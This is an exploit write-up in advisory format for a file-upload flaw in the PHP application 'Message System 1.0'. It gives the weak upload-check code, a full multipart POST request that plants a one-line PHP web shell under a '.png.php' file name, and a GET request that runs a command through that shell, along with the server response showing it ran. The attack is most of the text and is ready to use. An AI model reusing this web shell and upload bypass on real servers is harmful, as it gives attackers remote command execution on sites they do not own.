# Title: Message System 1.0   Shell Upload
# Author: Hejap Zairy
# Date: 29.07.2022
# Vendor: https://www.sourcecodester.com/php/15249/message-system-phpoop-free-source-code.html
# Software:https://www.sourcecodester.com/sites/default/files/download/oretnom23/pmms_1.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw


#vulnerability Code  php
Needs more filtering to upload image files

```
    if(isset($_FILES['image']) && $_FILES['image']['tmp_name'] != ''){
      if(!is_dir(base_app."uploads/users"))
        mkdir(base_app."uploads/users");
      $fname = 'uploads/users/avatar-'.$uid.'.png';
      $dir_path =base_app. $fname;
      $upload = $_FILES['image']['tmp_name'];
      $type = mime_content_type($upload);
      $allowed = array('image/png','image/jpeg');
      if(!in_array($type,$allowed)){
        $resp['msg'].=" But Image failed to upload due to invalid file type.";
      }else{
        $new_height = 200; 
        $new_width = 200; 
```


[+] Payload POST


```
POST /pmms/registration.php?id=1&firstname=Admin&middlename=admin&lastname=admin&gender=Male&dob=2022-03-30&username=Admin&password=Admin12345A%40%23&image=0day_Hejap.png HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=jj352kdlpp0ib5lu0v5ddm199m
Upgrade-Insecure-Requests: 1

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="image"; filename="0day_hejap.png.php"
Content-Type: image/png

<?=`$_GET[515]`?>

-----------------------------409902128312379197203124536738
```


#Status: CRITICAL

[+] Payload GET

```
GET /pmms/uploads/users/0day_hejap.png.php?515=echo+Hejap+Zairy HTTP/1.1

Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=pqbgvck1gedt9if6p582nt9a41
Upgrade-Insecure-Requests: 1




```

#Response 
```
HTTP/1.1 200 OK
Date: Tue, 29 Mar 2022 12:45:59 GMT
Server: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/7.4.27
X-Powered-By: PHP/7.4.27
Access-Control-Allow-Origin: *
Content-Length: 12
Connection: close
Content-Type: text/html; charset=UTF-8

Hejap Zairy
```


# Description:
The file upload  bypass WAF vulnerability occurs when the user uploads an executable script file, and through the script file to obtain the ability to execute server-side commands. This attack is the most direct and effective, sometimes having almost no technical barriers.


# Proof and Exploit:

https://i.imgur.com/7mZnH7L.png
https://i.imgur.com/rDdybxC.png